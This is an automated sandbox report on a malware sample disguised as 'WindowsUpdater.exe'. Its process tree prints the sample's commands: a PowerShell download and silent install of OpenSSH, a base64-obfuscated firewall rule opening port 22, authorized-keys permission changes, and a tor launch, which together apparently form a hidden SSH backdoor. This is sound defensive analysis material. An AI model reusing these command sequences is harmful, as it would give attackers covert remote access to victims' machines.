Analysis

  • max time kernel
    145s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/02/2024, 15:58

General

  • Target
    WindowsUpdater.exe
  • Size 11.1MB
  • Sample240224-tev74agg9z
  • SHA256 0f277b5c86588aaa07adad7b0015dab4650a99b8ed2043d72cd9e757e228fdef
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 32 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Drops file in Program Files directory 25 IoCs
  • Drops file in Windows directory 21 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe
    "C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3028
    • C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe
      "C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe"
      2⤵
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:1556
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -c "Invoke-WebRequest 'https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64-v9.5.0.0.msi' -o OPENSSH.msi""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3164
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -c "Invoke-WebRequest 'https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64-v9.5.0.0.msi' -o OPENSSH.msi"
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2648
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "msiexec /q /i OPENSSH.msi"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3752
        • C:\Windows\system32\msiexec.exe
          msiexec /q /i OPENSSH.msi
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2060
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -c "Start-Service sshd""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2964
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -c "Start-Service sshd"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2112
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "$command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LU5ldEZpcmV3YWxsUnVsZSAtTmFtZSBzc2hkIC1EaXNwbGF5TmFtZSAnT3BlblNTSCBTU0ggU2VydmVyJyAtRW5hYmxlZCBUcnVlIC1EaXJlY3Rpb24gSW5ib3VuZCAtUHJvdG9jb2wgVENQIC1BY3Rpb24gQWxsb3cgLUxvY2FsUG9ydCAyMiAtUHJvZ3JhbSAnQzpcUHJvZ3JhbSBGaWxlc1xPcGVuU1NIXHNzaGQuZXhlJw==')); Invoke-Expression $command""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3944
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "$command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LU5ldEZpcmV3YWxsUnVsZSAtTmFtZSBzc2hkIC1EaXNwbGF5TmFtZSAnT3BlblNTSCBTU0ggU2VydmVyJyAtRW5hYmxlZCBUcnVlIC1EaXJlY3Rpb24gSW5ib3VuZCAtUHJvdG9jb2wgVENQIC1BY3Rpb24gQWxsb3cgLUxvY2FsUG9ydCAyMiAtUHJvZ3JhbSAnQzpcUHJvZ3JhbSBGaWxlc1xPcGVuU1NIXHNzaGQuZXhlJw==')); Invoke-Expression $command"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2952
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "icacls "C:\ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3976
        • C:\Windows\system32\icacls.exe
          icacls "C:\ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F"
          4⤵
          • Modifies file permissions
          PID:4328
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -c "Restart-Service sshd""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4656
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -c "Restart-Service sshd"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:220
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WindowsUpdate.exe -f C:\Users\Admin\AppData\Local\Temp\tossh\torrc"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1020
        • C:\Users\Admin\AppData\Local\Temp\_MEI30282\WindowsUpdate.exe
          WindowsUpdate.exe -f C:\Users\Admin\AppData\Local\Temp\tossh\torrc
          4⤵
          • Executes dropped EXE
          PID:2160
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "type hostname"
        3⤵
          PID:2872
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4624
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 76F7AC82C187F342ECAF50ACF2571476
        2⤵
        • Loads dropped DLL
        PID:3280
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 55345406095EFE075571BC84691E653B E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:4376
        • C:\Windows\SysWOW64\wevtutil.exe
          "wevtutil.exe" im "C:\Program Files\OpenSSH\openssh-events.man"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4404
          • C:\Windows\System32\wevtutil.exe
            "wevtutil.exe" im "C:\Program Files\OpenSSH\openssh-events.man" /fromwow64
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\SysWOW64\sc.exe" privs ssh-agent SeAssignPrimaryTokenPrivilege/SeTcbPrivilege/SeBackupPrivilege/SeRestorePrivilege/SeImpersonatePrivilege
          3⤵
          • Launches sc.exe
          PID:116
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\SysWOW64\sc.exe" privs sshd SeAssignPrimaryTokenPrivilege/SeTcbPrivilege/SeBackupPrivilege/SeRestorePrivilege/SeImpersonatePrivilege
          3⤵
          • Launches sc.exe
          PID:2336
    • C:\Program Files\OpenSSH\ssh-agent.exe
      "C:\Program Files\OpenSSH\ssh-agent.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:4772
    • C:\Program Files\OpenSSH\sshd.exe
      "C:\Program Files\OpenSSH\sshd.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5032
      • C:\Program Files\OpenSSH\ssh-keygen.exe
        ssh-keygen -A
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:3484
    • C:\Program Files\OpenSSH\sshd.exe
      "C:\Program Files\OpenSSH\sshd.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3608
      • C:\Program Files\OpenSSH\ssh-keygen.exe
        ssh-keygen -A
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2832

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e57ef74.rbs

          • Path C:\Config.Msi\e57ef74.rbs
          • Size 564KB
          • SHA256 21a0c0569ad191d68fee8256ff27b8456abfd4029dda7dc3dd7420cd072329f6
          • MD5 SHA1 SHA512 SSDEEP

          libcrypto.dll

          • Path C:\Program Files\OpenSSH\libcrypto.dll
          • Size 1.8MB
          • SHA256 065d3a16b418dfe5647c56c8a1787ac540b13299bdf35f69e9980525804cb9ab
          • MD5 SHA1 SHA512 SSDEEP

          openssh-events.man

          • Path C:\Program Files\OpenSSH\openssh-events.man
          • Size 3KB
          • SHA256 c36019e53e3045cba2639bf35ed1e2498e3563b272533e53301165c31ab60199
          • MD5 SHA1 SHA512

          openssh-events.man

          • Path C:\Program Files\OpenSSH\openssh-events.man
          • Size 3KB
          • SHA256 0ccb40842417f63a2aed9f41507fb8215c42b815556f16913add175f82c79b86
          • MD5 SHA1 SHA512

          ssh-agent.exe

          • Path C:\Program Files\OpenSSH\ssh-agent.exe
          • Size 552KB
          • SHA256 c98fcecabf16090a5fde87d2171f2ff4c3a7190c9bb78ca8b044a80e5df211c4
          • MD5 SHA1 SHA512 SSDEEP

          sshd.exe

          • Path C:\Program Files\OpenSSH\sshd.exe
          • Size 283KB
          • SHA256 69e566faa652206822bdbd36e316ce467378b4039708a609bd5c5a51378b97a4
          • MD5 SHA1 SHA512 SSDEEP

          OPENSSH.msi

          • Path C:\Users\Admin\AppData\Local\Temp\OPENSSH.msi
          • Size 5.5MB
          • SHA256 6333f5b38313360a2c960ea7afa3086002f479bad663f20f92a4889063fe925c
          • MD5 SHA1 SHA512 SSDEEP

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\VCRUNTIME140.dll
          • Size 116KB
          • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
          • MD5 SHA1 SHA512 SSDEEP

          WindowsUpdate.exe

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\WindowsUpdate.exe
          • Size 8.2MB
          • SHA256 8ede8152594aa6408dfe47dfa6d86047ff9466dc52f8dbc9e7fce4300670ca80
          • MD5 SHA1 SHA512 SSDEEP

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\_bz2.pyd
          • Size 82KB
          • SHA256 706d4a0c26dd454538926cbb2ff6c64257c3d9bd48c956f7cabd6def36ffd13e
          • MD5 SHA1 SHA512 SSDEEP

          _decimal.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\_decimal.pyd
          • Size 246KB
          • SHA256 3b9ad1d2bc9ec03d37da86135853dac73b3fe851b164fe52265564a81eb8c544
          • MD5 SHA1 SHA512 SSDEEP

          _hashlib.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\_hashlib.pyd
          • Size 64KB
          • SHA256 4adfbbd6366d9b55d902fc54d2b42e7c8c989a83016ed707bd7a302fc3fc7b67
          • MD5 SHA1 SHA512 SSDEEP

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\_lzma.pyd
          • Size 155KB
          • SHA256 6216173194b29875e84963cd4dc4752f7ca9493f5b1fd7e4130ca0e411c8ac6a
          • MD5 SHA1 SHA512 SSDEEP

          _queue.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\_queue.pyd
          • Size 31KB
          • SHA256 fb57ee6adf6e7b11451b6920ddd2fb943dcd9561c9eae64fdda27c7ed0bc1b04
          • MD5 SHA1 SHA512 SSDEEP

          _socket.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\_socket.pyd
          • Size 81KB
          • SHA256 5cc62aac52edf87916deb4ebbad9abb58a6a3565b32e7544f672aca305c38027
          • MD5 SHA1 SHA512 SSDEEP

          _ssl.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\_ssl.pyd
          • Size 173KB
          • SHA256 72bb15cd8c14ba008a52d23cdcfc851a9a4bde13deee302a5667c8ad60f94a57
          • MD5 SHA1 SHA512 SSDEEP

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\base_library.zip
          • Size 1.3MB
          • SHA256 ec4e6b8e9f6f1f4b525af72d3a6827807c7a81978cb03db5767028ebea283be2
          • MD5 SHA1 SHA512 SSDEEP

          md.cp312-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\charset_normalizer\md.cp312-win_amd64.pyd
          • Size 10KB
          • SHA256 ecf12e2c0a00c0ed4e2343ea956d78eed55e5a36ba49773633b2dfe7b04335c0
          • MD5 SHA1 SHA512 SSDEEP

          md__mypyc.cp312-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
          • Size 120KB
          • SHA256 4107b1d6f11d842074a9f21323290bbe97e8eed4aa778fbc348ee09cc4fa4637
          • MD5 SHA1 SHA512 SSDEEP

          libcrypto-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\libcrypto-3.dll
          • Size 5.0MB
          • SHA256 05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de
          • MD5 SHA1 SHA512 SSDEEP

          libcrypto-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\libcrypto-3.dll
          • Size 4.0MB
          • SHA256 4ea8b62ac13d353feb768aa5bc945512ab585da09542619d6e0519e3245679cd
          • MD5 SHA1 SHA512 SSDEEP

          libssl-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\libssl-3.dll
          • Size 768KB
          • SHA256 2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006
          • MD5 SHA1 SHA512 SSDEEP

          python312.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\python312.dll
          • Size 6.7MB
          • SHA256 789a42ac160cef98f8925cb347473eeeb4e70f5513242e7faba5139ba06edf2d
          • MD5 SHA1 SHA512 SSDEEP

          python312.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\python312.dll
          • Size 3.8MB
          • SHA256 5d3b3ceac86bb78d3dd6d23a7b5c2512399339f399d55094665b6df52729226a
          • MD5 SHA1 SHA512 SSDEEP

          select.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\select.pyd
          • Size 29KB
          • SHA256 af358285a7450de6e2e5e7ff074f964d6a257fb41d9eb750146e03c7dda503ca
          • MD5 SHA1 SHA512 SSDEEP

          unicodedata.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI30282\unicodedata.pyd
          • Size 1.1MB
          • SHA256 be942308d99cc954931fe6f48ed8cc7a57891ccbe99aae728121bcda1fd929ab
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_qye5qzx0.3kw.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qye5qzx0.3kw.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          cached-microdesc-consensus.tmp

          • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdesc-consensus.tmp
          • Size 2.5MB
          • SHA256 a33595727e93d8b69432caaa8e74aed0f293183070d2df2c5255cf124100bf46
          • MD5 SHA1 SHA512 SSDEEP

          cached-microdescs.new

          • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
          • Size 6.5MB
          • SHA256 eb95a0736281d028ce1626631705051148dc95476880b84b7a3e1395ace639f6
          • MD5 SHA1 SHA512 SSDEEP

          MSIF5BB.tmp

          • Path C:\Windows\Installer\MSIF5BB.tmp
          • Size 297KB
          • SHA256 b8f2d0909d7c2934285a8be010d37c0609c7854a36562cbfcbce547f4f4c7b0c
          • MD5 SHA1 SHA512 SSDEEP

          MSIF82D.tmp

          • Path C:\Windows\Installer\MSIF82D.tmp
          • Size 127KB
          • SHA256 5c29b8255ace0cd94c066c528c8ad04f0f45eba12fcf94da7b9ca1b64ad4288b
          • MD5 SHA1 SHA512 SSDEEP

          MSIF8CB.tmp

          • Path C:\Windows\Installer\MSIF8CB.tmp
          • Size 211KB
          • SHA256 c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74
          • MD5 SHA1 SHA512 SSDEEP

          memory/220-224-0x00007FF9571B0000-0x00007FF957C71000-memory.dmp

          memory/220-225-0x000001A80F320000-0x000001A80F330000-memory.dmp

          memory/220-228-0x00007FF9571B0000-0x00007FF957C71000-memory.dmp

          memory/2112-195-0x00007FF9571B0000-0x00007FF957C71000-memory.dmp

          memory/2112-187-0x00007FF9571B0000-0x00007FF957C71000-memory.dmp

          memory/2112-193-0x0000027BC9DD0000-0x0000027BC9DE0000-memory.dmp

          memory/2112-192-0x0000027BC9DD0000-0x0000027BC9DE0000-memory.dmp

          memory/2648-61-0x0000019EA4300000-0x0000019EA4310000-memory.dmp

          memory/2648-62-0x0000019EA4300000-0x0000019EA4310000-memory.dmp

          memory/2648-59-0x0000019EBC7A0000-0x0000019EBC7C2000-memory.dmp

          memory/2648-60-0x00007FF9571B0000-0x00007FF957C71000-memory.dmp

          memory/2648-63-0x0000019EA4300000-0x0000019EA4310000-memory.dmp

          memory/2648-67-0x00007FF9571B0000-0x00007FF957C71000-memory.dmp

          memory/2952-196-0x00007FF9571B0000-0x00007FF957C71000-memory.dmp

          memory/2952-212-0x00007FF9571B0000-0x00007FF957C71000-memory.dmp

          memory/2952-210-0x000002A1FD100000-0x000002A1FD110000-memory.dmp

          memory/2952-209-0x000002A1FD2A0000-0x000002A1FD2BA000-memory.dmp

          memory/2952-208-0x000002A1FD0F0000-0x000002A1FD0FE000-memory.dmp

          memory/2952-198-0x000002A1FD100000-0x000002A1FD110000-memory.dmp

          memory/2952-197-0x000002A1FD100000-0x000002A1FD110000-memory.dmp